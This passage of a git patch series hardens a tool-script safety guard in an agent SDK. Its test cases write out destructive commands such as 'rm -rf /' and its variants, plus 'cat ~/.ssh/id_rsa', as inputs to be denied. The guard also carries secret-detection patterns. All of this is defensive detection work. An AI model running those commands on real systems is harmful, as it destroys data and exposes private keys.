truncate_output("hello", 3) == "hel" assert truncate_output(42, 3) == 42 with pytest.raises(ValueError, match="evidence_chars"): SafetySanitizer(0) +def test_python_rule_fallback_helpers_are_bounded(guard): + request = _request("") + visitor = PythonRuleVisitor(_PythonScanContext("", request, guard.policy, guard.sanitizer)) + assert visitor._name(ast.Constant(value=1)) == "" + visitor._invalidate_target(ast.Tuple(elts=[ast.Name(id="left"), ast.Name(id="right")])) + assert visitor._receiver_path(ast.Name(id="open")) == (False, None) + assert visitor._receiver_path(ast.Attribute(value=ast.Name(id="unknown"), attr="read_text")) == (False, None) + assert visitor._path_constructor_value(ast.Call(func=ast.Name(id="unknown"), args=[], keywords=[])) is None + assert visitor._estimated_size(ast.Name(id="dynamic")) == 0 + gather = ast.Call( + func=ast.Attribute(value=ast.Name(id="asyncio"), attr="gather"), + args=[ast.Name(id=f"value_{index}") for index in range(guard.policy.max_concurrency + 1)], + keywords=[], + ) + assert visitor._gather_is_large(gather) is True + + +def test_nested_payload_depth_returns_policy_finding(guard): + payload = ScriptPayload(language=ScriptLanguage.BASH, content="bash -c 'echo ok'") + findings, redacted = guard._scan_nested(payload, _request(payload.content), MAX_NESTED_PAYLOAD_DEPTH) + assert [finding.rule_id for finding in findings] == ["POLICY004"] + assert redacted is False + + +def test_large_write_and_python_syntax_error_are_reported(guard): + large_write = guard.scan(_request("writer.write('x' * 20000000)")) + syntax_error = guard.scan(_request("def broken(:\n pass")) + assert "RES002" in _rule_ids(large_write) + assert "PY001" in _rule_ids(syntax_error) + + @pytest.mark.parametrize( "command", [ diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index e672f5311..3b505c029 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -8,6 +8,7 @@ from __future__ import annotations import asyncio +import math import os from pathlib import Path from typing import Any @@ -69,6 +70,8 @@ def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple arg_name = "timeout_sec" if "timeout_sec" in args else ("timeout" if "timeout" in args else None) raw = args.get(arg_name) if arg_name else None requested = float(raw) if isinstance(raw, (int, float)) else None + if requested is not None and not math.isfinite(requested): + return requested, float(policy.max_timeout_seconds), arg_name if requested is None or requested <= 0: return requested, float(policy.max_timeout_seconds), arg_name return requested, min(requested, float(policy.max_timeout_seconds)), arg_name @@ -288,7 +291,14 @@ async def execute_code( report = self.guard.scan(request) except Exception as error: # pylint: disable=broad-except report = self.guard.error_report(error) - emit_report(self.audit_sink, report, metadata.name) + try: + emit_report(self.audit_sink, report, metadata.name) + except SafetyAuditError as error: + # Audit failure is a safety failure: never execute without a durable + # record, and expose the same structured review result as scan errors. + report = self.guard.error_report(error) + set_safety_span_attributes(report) + raise ToolSafetyViolation(report) from error set_safety_span_attributes(report) if report.decision != SafetyDecision.ALLOW: raise ToolSafetyViolation(report) From 312bc25c65430c658f399eea64c4bd3b9ab5920d Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 02:59:09 +0800 Subject: [PATCH 05/29] fix(safety): close review edge cases --- examples/tool_safety_guard/mcp_server.py | 19 ++++++++++++++++-- tests/tools/safety/test_filter.py | 22 +++++++++++++++++++++ tests/tools/safety/test_scanner.py | 1 + trpc_agent_sdk/tools/safety/_integration.py | 2 +- trpc_agent_sdk/tools/safety/_sanitizer.py | 14 +++++++++++-- 5 files changed, 53 insertions(+), 5 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 2271028dc..3b637f5b5 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -8,6 +8,7 @@ from __future__ import annotations import asyncio +import math import shlex from pathlib import Path @@ -27,8 +28,21 @@ @APP.tool() -async def execute_command(command: str) -> dict: +async def execute_command(command: str, timeout: float | None = None) -> dict: """Execute an approved shell command in the disposable example directory.""" + requested_timeout = float(timeout) if isinstance(timeout, (int, float)) else None + if requested_timeout is not None and not math.isfinite(requested_timeout): + return { + "decision": SafetyDecision.NEEDS_HUMAN_REVIEW.value, + "summary": "needs_human_review: timeout must be finite.", + "execution_blocked": True, + } + if requested_timeout is not None and requested_timeout <= 0: + requested_timeout = None + effective_timeout = min( + requested_timeout or float(GUARD.policy.max_timeout_seconds), + float(GUARD.policy.max_timeout_seconds), + ) request = ScriptScanRequest( payloads=[ScriptPayload( language=ScriptLanguage.BASH, @@ -38,7 +52,8 @@ async def execute_command(command: str) -> dict: cwd=str(WORK_DIR), execution_root=str(WORK_DIR.anchor), metadata=ToolMetadata(name="execute_command"), - effective_timeout_seconds=float(GUARD.policy.max_timeout_seconds), + requested_timeout_seconds=requested_timeout, + effective_timeout_seconds=effective_timeout, max_output_bytes=GUARD.policy.max_output_bytes, ) report = GUARD.scan(request) diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index 6d89a6157..a7af16556 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -209,6 +209,28 @@ async def handler(): assert len((result["stdout"] + result["stderr"]).encode()) <= 10 +@pytest.mark.asyncio +async def test_after_limits_list_output(): + + async def handler(): + return ["x" * 20, "y" * 20] + + result = await _run_filter(_filter(_MemorySink(), max_output=10), {"command": "echo ok"}, handler) + assert result == ["x" * 10, ""] + + +@pytest.mark.asyncio +async def test_non_applicable_timeout_is_not_injected(): + args = {"timeout": 3} + + async def handler(): + return {"ok": True} + + result = await _run_filter(_filter(_MemorySink()), args, handler, tool_name="unrelated") + assert result == {"ok": True} + assert args["timeout"] == 3 + + @pytest.mark.asyncio async def test_final_limit_runs_after_outer_filter(): runner = _Runner(filters=[_filter(_MemorySink(), max_output=10), _ExpandingAfterFilter()]) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index f0e45e19f..b5fe9c798 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -286,6 +286,7 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert stdin_language("python script.py") is None assert path_is_system_location("/") is True assert truncate_output("hello", 3) == "hel" + assert truncate_output(["hello", "world"], 6) == ["hello", "w"] assert truncate_output(42, 3) == 42 with pytest.raises(ValueError, match="evidence_chars"): SafetySanitizer(0) diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index 3b505c029..b180a75de 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -229,7 +229,7 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult): rsp.rsp = report.as_dict() rsp.is_continue = False return - if request and request.timeout_arg_name: + if request and request.applicable and request.timeout_arg_name: req[request.timeout_arg_name] = request.effective_timeout_seconds async def _after(self, ctx: AgentContext, req: Any, rsp: FilterResult): diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index f05e77509..6f3abe7d2 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -31,8 +31,8 @@ ) _NAMED_SECRET_RE = re.compile( r"(?i)\b(api[_-]?key|token|password|passwd|authorization|secret)" - r"(\s*[=:]\s*|[\"']\s*:\s*[\"'])" - r"([\"']?)[^\s,\"'};]+", ) + r"(\s*[=:]\s*)" + r"[A-Za-z0-9_./+=-]{12,}\b", ) _BEARER_RE = re.compile(r"(?i)\bbearer\s+[A-Za-z0-9._~+/=-]+") _COMMON_TOKEN_RE = re.compile(r"\b(?:sk|ghp|xox[baprs])[-_][A-Za-z0-9_-]{12,}\b") _URL_USERINFO_RE = re.compile(r"(?i)(https?://[^/\s:@]+:)[^@/\s]+@") @@ -89,6 +89,16 @@ def truncate_output(value: Any, max_bytes: int) -> Any: """Limit common Tool output fields without changing unrelated data.""" if isinstance(value, str): return truncate_text(value, max_bytes)[0] + if isinstance(value, list): + result = list(value) + remaining = max_bytes + for index, item in enumerate(result): + if not isinstance(item, str): + continue + limited, _ = truncate_text(item, max(remaining, 0)) + result[index] = limited + remaining -= len(limited.encode("utf-8")) + return result if not isinstance(value, dict): return value result = dict(value) From 127e0537947cc3ad5df57e890477f95d75633a97 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 07:58:14 +0800 Subject: [PATCH 06/29] fix(safety): harden recursive delete detection --- examples/tool_safety_guard/README.md | 4 ++++ examples/tool_safety_guard/real_agent.py | 2 +- tests/tools/safety/test_adapters.py | 8 ++++++++ tests/tools/safety/test_code_executor.py | 21 +++++++++++++++++++++ tests/tools/safety/test_scanner.py | 7 ++++++- trpc_agent_sdk/tools/safety/_bash_rules.py | 20 +++++++++++--------- 6 files changed, 51 insertions(+), 11 deletions(-) diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index 11d26f770..02124bbe3 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -75,6 +75,10 @@ wrapper 统一执行扫描、审计、阻断、wall-clock timeout 和返回 outp - 本地 stdio MCP Tool `execute_command` - `SafetyGuardedCodeExecutor` +MCP 示例使用 argv-only 的 `create_subprocess_exec`，不提供 Shell 管道、重定向或 +命令拼接语义；此类输入会在执行前进入人工审核。`mcp-review` 使用未加入命令 +白名单的 `uname -a` 演示审核路径。 + 每个入口都提供 `allow`、`review`、`deny` 场景： ```bash diff --git a/examples/tool_safety_guard/real_agent.py b/examples/tool_safety_guard/real_agent.py index 8ddf42c5a..cb8aa8877 100644 --- a/examples/tool_safety_guard/real_agent.py +++ b/examples/tool_safety_guard/real_agent.py @@ -67,7 +67,7 @@ "mcp-allow": "Call execute_command exactly once with command `echo mcp-allow`.", "mcp-review": - "Call execute_command exactly once with command `echo mcp-review | cat`.", + "Call execute_command exactly once with command `uname -a`.", "mcp-deny": "Call execute_command exactly once with command `rm -rf safety-demo-trash`.", "skill-allow": diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index f900f0e42..dc138bbba 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -42,6 +42,14 @@ def test_adapt_bash_tool_clamps_timeout_and_hides_env_values(): assert "must-not-leak" not in request.model_dump_json() +def test_adapt_non_finite_timeout_falls_back_to_policy_limit(): + tool = SimpleNamespace(name="execute_command", description="MCP command") + + request = adapt_tool_request(tool, {"command": "echo ok", "timeout": float("nan")}, _policy()) + + assert request.effective_timeout_seconds == 30 + + def test_adapt_unknown_tool_is_not_applicable(): tool = SimpleNamespace(name="calculator", description="") diff --git a/tests/tools/safety/test_code_executor.py b/tests/tools/safety/test_code_executor.py index 1f4b4d782..60b49dd07 100644 --- a/tests/tools/safety/test_code_executor.py +++ b/tests/tools/safety/test_code_executor.py @@ -14,6 +14,7 @@ from trpc_agent_sdk.code_executors import CodeExecutionInput from trpc_agent_sdk.code_executors import create_code_execution_result from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import SafetyAuditError from trpc_agent_sdk.tools.safety import adapt_code_execution_input from trpc_agent_sdk.tools.safety import ToolMetadata from trpc_agent_sdk.tools.safety import ToolSafetyViolation @@ -31,6 +32,13 @@ def emit(self, event): self.events.append(event) +class _FailingSink: + + def emit(self, event): + del event + raise SafetyAuditError("audit unavailable") + + class _Executor(BaseCodeExecutor): calls: int = 0 delay: float = 0 @@ -83,6 +91,19 @@ async def test_dangerous_code_is_blocked(): assert error.value.report.decision.value == "deny" +@pytest.mark.asyncio +async def test_audit_failure_blocks_code_execution(): + delegate = _Executor() + wrapper = _wrapper(delegate) + wrapper.audit_sink = _FailingSink() + + with pytest.raises(ToolSafetyViolation) as error: + await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + + assert delegate.calls == 0 + assert error.value.report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + @pytest.mark.asyncio async def test_wrapper_enforces_timeout(): wrapper = _wrapper(_Executor(delay=1.1), timeout=1) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index b5fe9c798..fae643600 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -286,7 +286,7 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert stdin_language("python script.py") is None assert path_is_system_location("/") is True assert truncate_output("hello", 3) == "hel" - assert truncate_output(["hello", "world"], 6) == ["hello", "w"] + assert truncate_output(["hello", 42, "world"], 6) == ["hello", 42, "w"] assert truncate_output(42, 3) == 42 with pytest.raises(ValueError, match="evidence_chars"): SafetySanitizer(0) @@ -378,6 +378,11 @@ def test_payload_argv_is_scanned(guard): [ "echo ok\nrm -f -r /", "echo ok\nrm --recursive --force /", + "rm -R /", + "rm -Rf /", + "FOO=bar rm -rf /", + "FOO=bar rm -Rf /", + "FOO=bar command rm --recursive /", ], ) def test_recursive_rm_variants_denied(guard, command): diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py index 3fd92cbcf..a0c8fa5f8 100644 --- a/trpc_agent_sdk/tools/safety/_bash_rules.py +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -126,15 +126,10 @@ def _tokens(segment: str) -> list[str]: def _command_name(segment: str) -> str: - tokens = _unwrap_tokens(_tokens(segment)) + tokens = _command_tokens(_tokens(segment)) if not tokens: return "" - index = 0 - while index < len(tokens) and "=" in tokens[index] and not tokens[index].startswith(("/", ".")): - index += 1 - if index >= len(tokens): - return "" - return os.path.basename(tokens[index]).lower() + return os.path.basename(tokens[0]).lower() def _unwrap_tokens(tokens: list[str]) -> list[str]: @@ -152,13 +147,20 @@ def _unwrap_tokens(tokens: list[str]) -> list[str]: return result +def _command_tokens(tokens: list[str]) -> list[str]: + result = _unwrap_tokens(tokens) + while result and "=" in result[0] and not result[0].startswith(("/", ".")): + result = _unwrap_tokens(result[1:]) + return result + + def _recursive_rm(text: str) -> str | None: for segment in _COMMAND_SPLIT_RE.split(text): - tokens = _unwrap_tokens(_tokens(segment.strip())) + tokens = _command_tokens(_tokens(segment.strip())) if not tokens or os.path.basename(tokens[0]).lower() != "rm": continue options = [item for item in tokens[1:] if item.startswith("-")] - if any(item == "--recursive" or (not item.startswith("--") and "r" in item[1:]) for item in options): + if any(item == "--recursive" or (not item.startswith("--") and "r" in item[1:].lower()) for item in options): return segment.strip() return None From 5d9985d7fc0ee8da02bb78cf509c5a8e02bcd4e2 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 09:19:57 +0800 Subject: [PATCH 07/29] fix(safety): harden static loop analysis --- .../tools/safety/test_audit_and_telemetry.py | 8 ++++ tests/tools/safety/test_scanner.py | 25 ++++++++++++ trpc_agent_sdk/tools/safety/_audit.py | 26 +++++++++++-- trpc_agent_sdk/tools/safety/_python_rules.py | 38 ++++++++++++++++++- 4 files changed, 93 insertions(+), 4 deletions(-) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index 2c7c447d9..96ca45930 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -27,6 +27,7 @@ from trpc_agent_sdk.tools.safety._audit import emit_report from trpc_agent_sdk.tools.safety._audit import _shared_sink_lock from trpc_agent_sdk.tools.safety._audit import set_safety_span_attributes +from trpc_agent_sdk.tools.safety._audit import _PATH_LOCKS def _report(): @@ -69,6 +70,13 @@ def test_jsonl_audit_has_required_fields(tmp_path): assert data["redacted"] is True +def test_path_lock_is_weakly_held(tmp_path): + sink = JsonlAuditSink(tmp_path / "audit.jsonl") + key = str((tmp_path / "audit.jsonl").resolve()) + assert key in _PATH_LOCKS + del sink + + @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") def test_jsonl_audit_secures_existing_file(tmp_path): path = tmp_path / "audit.jsonl" diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index fae643600..4915402e4 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -25,6 +25,7 @@ from trpc_agent_sdk.tools.safety._common_rules import path_is_system_location from trpc_agent_sdk.tools.safety._python_rules import _PythonScanContext from trpc_agent_sdk.tools.safety._python_rules import PythonRuleVisitor +from trpc_agent_sdk.tools.safety._python_rules import _static_truthy from trpc_agent_sdk.tools.safety._scanner import MAX_NESTED_PAYLOAD_DEPTH @@ -309,6 +310,23 @@ def test_python_rule_fallback_helpers_are_bounded(guard): assert visitor._gather_is_large(gather) is True +def test_static_truthy_handles_non_literal_conditions(): + assert _static_truthy(ast.UnaryOp(op=ast.Not(), operand=ast.Name(id="value"))) is False + assert _static_truthy(ast.Name(id="value")) is False + comparison = ast.Compare( + left=ast.Name(id="value"), + ops=[ast.Eq()], + comparators=[ast.Constant(value=1)], + ) + assert _static_truthy(comparison) is False + mixed_comparison = ast.Compare( + left=ast.Constant(value=1), + ops=[ast.Lt()], + comparators=[ast.Constant(value="value")], + ) + assert _static_truthy(mixed_comparison) is False + + def test_nested_payload_depth_returns_policy_finding(guard): payload = ScriptPayload(language=ScriptLanguage.BASH, content="bash -c 'echo ok'") findings, redacted = guard._scan_nested(payload, _request(payload.content), MAX_NESTED_PAYLOAD_DEPTH) @@ -323,6 +341,13 @@ def test_large_write_and_python_syntax_error_are_reported(guard): assert "PY001" in _rule_ids(syntax_error) +@pytest.mark.parametrize("code", ["while 1:\n pass", "while 1 == 1:\n pass", "while not 0:\n pass"]) +def test_python_truthy_constant_loops_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "RES001" in _rule_ids(report) + + @pytest.mark.parametrize( "command", [ diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index 6aa1d597e..a2d2dff8b 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -27,7 +27,23 @@ from ._models import RiskLevel from ._sanitizer import SafetySanitizer -_PATH_LOCKS: dict[str, threading.Lock] = {} + +class _PathLock: + """Weak-referenceable lock shared by sinks targeting one path.""" + + def __init__(self): + self._lock = threading.Lock() + + def __enter__(self): + self._lock.acquire() + return self + + def __exit__(self, exc_type, exc_value, traceback): + del exc_type, exc_value, traceback + self._lock.release() + + +_PATH_LOCKS: weakref.WeakValueDictionary[str, _PathLock] = weakref.WeakValueDictionary() _PATH_LOCKS_GUARD = threading.Lock() _SINK_LOCKS: weakref.WeakKeyDictionary = weakref.WeakKeyDictionary() _SINK_LOCKS_GUARD = threading.Lock() @@ -116,10 +132,14 @@ def emit(self, event: SafetyAuditEvent) -> None: raise SafetyAuditDegradedError("primary tool safety audit sink failed") -def _shared_path_lock(path: Path) -> threading.Lock: +def _shared_path_lock(path: Path) -> _PathLock: key = str(path.resolve()) with _PATH_LOCKS_GUARD: - return _PATH_LOCKS.setdefault(key, threading.Lock()) + lock = _PATH_LOCKS.get(key) + if lock is None: + lock = _PathLock() + _PATH_LOCKS[key] = lock + return lock def _open_secure_file(path: Path) -> IO[str]: diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 77e174bd8..7475c34d2 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -9,6 +9,7 @@ import ast from dataclasses import dataclass +import operator import re import shlex from typing import Any @@ -38,6 +39,41 @@ _SECRET_NAME_RE = re.compile( r"(?i)(api[_-]?key|access[_-]?key|authorization|credential|token|password|passwd|secret|private[_-]?key)") + +def _static_truthy(node: ast.AST) -> bool: + """Return whether a literal loop condition is statically true.""" + if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): + try: + return not bool(ast.literal_eval(node.operand)) + except (ValueError, TypeError, SyntaxError): + return False + try: + return bool(ast.literal_eval(node)) + except (ValueError, TypeError, SyntaxError): + pass + if isinstance(node, ast.Compare) and len(node.ops) == 1 and len(node.comparators) == 1: + try: + left = ast.literal_eval(node.left) + right = ast.literal_eval(node.comparators[0]) + except (ValueError, TypeError, SyntaxError): + return False + comparisons = { + ast.Eq: operator.eq, + ast.NotEq: operator.ne, + ast.Lt: operator.lt, + ast.LtE: operator.le, + ast.Gt: operator.gt, + ast.GtE: operator.ge, + } + for kind, compare in comparisons.items(): + if isinstance(node.ops[0], kind): + try: + return bool(compare(left, right)) + except (TypeError, ValueError): + return False + return False + + FILE_DELETE = RuleSpec( RiskCategory.FILE, RiskLevel.CRITICAL, @@ -313,7 +349,7 @@ def _symbolic_value(self, node: ast.AST) -> str: return "" def visit_While(self, node: ast.While) -> Any: - if isinstance(node.test, ast.Constant) and node.test.value is True: + if _static_truthy(node.test): self._add("RES001", node, RESOURCE_DENY) self.generic_visit(node) From 63bac6dc6b6c189cd751be9746b8d383081813c8 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 10:44:48 +0800 Subject: [PATCH 08/29] fix(safety): close audit integration gaps --- examples/tool_safety_guard/README.md | 5 ++++ scripts/tool_safety_check.py | 4 ++-- tests/tools/safety/test_adapters.py | 15 ++++++++++++ tests/tools/safety/test_cli_and_acceptance.py | 24 +++++++++++++++++++ .../tools/safety/test_quality_constraints.py | 7 ++++-- trpc_agent_sdk/tools/safety/__init__.py | 2 ++ trpc_agent_sdk/tools/safety/_cli.py | 5 ++-- trpc_agent_sdk/tools/safety/_integration.py | 6 ++--- 8 files changed, 59 insertions(+), 9 deletions(-) diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index 02124bbe3..5b461e75d 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -12,6 +12,9 @@ - `manifest.yaml` 与 `samples/`：12 个公开验收样本及预期决策。 - `real_agent.py`、`mcp_server.py` 与 `skills/`：真实 Agent 执行示例。 +`tool_safety_report.json` 和 `tool_safety_audit.jsonl` 是由 CLI 生成的示例产物， +仅用于展示格式，不是固定契约；规则或归一化逻辑变更后可删除并按 CLI 命令重新生成。 + ## CLI ```bash @@ -78,6 +81,8 @@ wrapper 统一执行扫描、审计、阻断、wall-clock timeout 和返回 outp MCP 示例使用 argv-only 的 `create_subprocess_exec`，不提供 Shell 管道、重定向或 命令拼接语义；此类输入会在执行前进入人工审核。`mcp-review` 使用未加入命令 白名单的 `uname -a` 演示审核路径。 +MCP handler 独立运行时只负责扫描和阻断，不写 Agent 侧审计事件；通过 +`ToolSafetyFilter` 接入 Agent 时，审计由 Filter 的 `AuditSink` 统一记录，避免重复事件。 每个入口都提供 `allow`、`review`、`deny` 场景： diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index 6cbc6f2bb..55ac0a167 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """Thin launcher for the Tool Script Safety Guard CLI.""" -from trpc_agent_sdk.tools.safety._cli import main +from trpc_agent_sdk.tools.safety import safety_cli_main if __name__ == "__main__": - raise SystemExit(main()) + raise SystemExit(safety_cli_main()) diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index dc138bbba..87dec1a51 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -119,6 +119,21 @@ def test_adapt_skill_run_command(): assert request.applicable is True assert request.payloads[0].language == ScriptLanguage.BASH assert request.timeout_arg_name == "timeout" + assert request.execution_home == str(Path.home()) + + +def test_bash_tool_family_sets_path_context(): + for name in ("workspace_exec", "skill_run", "skill_exec"): + request = adapt_tool_request( + SimpleNamespace(name=name, description="shell"), + { + "command": "cat ~/.ssh/id_rsa", + "cwd": "/workspace" + }, + _policy(), + ) + assert request.execution_home == str(Path.home()) + assert request.execution_root == Path("/workspace").anchor def test_unknown_tool_with_code_field_is_scanned_conservatively(): diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index f97ccb25f..c12c261b4 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -16,6 +16,7 @@ from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard from trpc_agent_sdk.tools.safety._cli import main from trpc_agent_sdk.tools.safety._cli import _exit_code +from trpc_agent_sdk.tools.safety._audit import SafetyAuditError from trpc_agent_sdk.tools.safety import SafetyDecision EXAMPLE_DIR = Path("examples/tool_safety_guard") @@ -121,6 +122,29 @@ def test_cli_error_redacts_secret_path(tmp_path, capsys): assert "[REDACTED_SECRET]" in output +def test_cli_audit_failure_returns_structured_error(monkeypatch, capsys): + + def fail_audit(*args, **kwargs): + del args, kwargs + raise SafetyAuditError("audit unavailable") + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._cli.emit_report", fail_audit) + exit_code = main([ + "--command", + "echo ok", + "--language", + "bash", + "--policy", + str(EXAMPLE_DIR / "tool_safety_policy.yaml"), + "--audit", + "audit.jsonl", + ]) + output = capsys.readouterr().out + assert exit_code == 1 + assert '"error"' in output + assert "Traceback" not in output + + def test_cli_exit_codes_cover_allow_and_review(): assert _exit_code(SafetyDecision.ALLOW) == 0 assert _exit_code(SafetyDecision.NEEDS_HUMAN_REVIEW) == 2 diff --git a/tests/tools/safety/test_quality_constraints.py b/tests/tools/safety/test_quality_constraints.py index 12c478df6..557f63cee 100644 --- a/tests/tools/safety/test_quality_constraints.py +++ b/tests/tools/safety/test_quality_constraints.py @@ -12,7 +12,8 @@ MAX_FUNCTION_LINES = 80 MAX_FUNCTION_STATEMENTS = 60 MAX_FUNCTION_PARAMETERS = 4 -SAFETY_PACKAGE = Path("trpc_agent_sdk/tools/safety") +REPO_ROOT = Path(__file__).resolve().parents[3] +SAFETY_PACKAGE = REPO_ROOT / "trpc_agent_sdk/tools/safety" def _functions(tree): @@ -37,7 +38,9 @@ def _statement_count(node): def test_source_size_and_function_limits(): failures = [] - for path in SAFETY_PACKAGE.glob("*.py"): + paths = list(SAFETY_PACKAGE.glob("*.py")) + assert paths, f"no Python files found under {SAFETY_PACKAGE}" + for path in paths: source = path.read_text(encoding="utf-8") lines = source.splitlines() if len(lines) > MAX_FILE_LINES: diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py index b80ebe7af..e6bedc842 100644 --- a/trpc_agent_sdk/tools/safety/__init__.py +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -6,6 +6,7 @@ """Tool script safety guard public API.""" from ._integration import adapt_cli_request +from ._cli import main as safety_cli_main from ._integration import adapt_code_execution_input from ._integration import adapt_tool_request from ._audit import AuditSink @@ -57,4 +58,5 @@ "adapt_cli_request", "adapt_code_execution_input", "adapt_tool_request", + "safety_cli_main", ] diff --git a/trpc_agent_sdk/tools/safety/_cli.py b/trpc_agent_sdk/tools/safety/_cli.py index 88b591109..1757893d0 100644 --- a/trpc_agent_sdk/tools/safety/_cli.py +++ b/trpc_agent_sdk/tools/safety/_cli.py @@ -15,6 +15,7 @@ from ._integration import adapt_cli_request from ._audit import emit_report from ._audit import JsonlAuditSink +from ._audit import SafetyAuditError from ._models import SafetyDecision from ._models import ScriptLanguage from ._models import ScriptPayload @@ -84,11 +85,11 @@ def run_cli(args: argparse.Namespace) -> int: request.env_keys = sorted(set(args.env_key)) report = guard.scan(request) serialized = json.dumps(report.as_dict(), ensure_ascii=False, indent=2) - print(serialized) if args.report: Path(args.report).write_text(serialized + "\n", encoding="utf-8") if args.audit: emit_report(JsonlAuditSink(args.audit), report, metadata.name) + print(serialized) return _exit_code(report.decision) @@ -96,7 +97,7 @@ def main(argv: Sequence[str] | None = None) -> int: """CLI entry point.""" try: return run_cli(_parser().parse_args(argv)) - except (ValueError, OSError) as error: + except (ValueError, OSError, SafetyAuditError) as error: safe_error, _ = _CLI_SANITIZER.sanitize(error) print(json.dumps({"error": safe_error}, ensure_ascii=False)) return EXIT_ERROR diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index b180a75de..fe3813a6a 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -111,13 +111,13 @@ def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy tool_cwd = str(getattr(tool, "cwd", "") or "") requested_cwd = str(args.get("cwd") or "") cwd = requested_cwd or tool_cwd - if name == "bash" and cwd: + if name in _BASH_TOOL_NAMES and cwd: cwd_path = Path(cwd) if requested_cwd and not cwd_path.is_absolute(): cwd_path = Path(tool_cwd) / cwd_path cwd = str(cwd_path.resolve()) - local_home = str(Path.home()) if name == "bash" else None - local_root = Path(cwd).anchor if name == "bash" and cwd else None + local_home = str(Path.home()) if name in _BASH_TOOL_NAMES else None + local_root = Path(cwd).anchor if name in _BASH_TOOL_NAMES and cwd else None env = args.get("env") env_keys = sorted(str(key) for key in env) if isinstance(env, dict) else [] return ScriptScanRequest( From a907f6dd4d148660c639b2e69af5d4d640667c1c Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 11:39:42 +0800 Subject: [PATCH 09/29] fix(safety): stabilize review edge cases --- tests/tools/safety/test_cli_and_acceptance.py | 3 ++- tests/tools/safety/test_filter.py | 11 +++++++++++ trpc_agent_sdk/tools/safety/_integration.py | 6 +++++- 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/tests/tools/safety/test_cli_and_acceptance.py 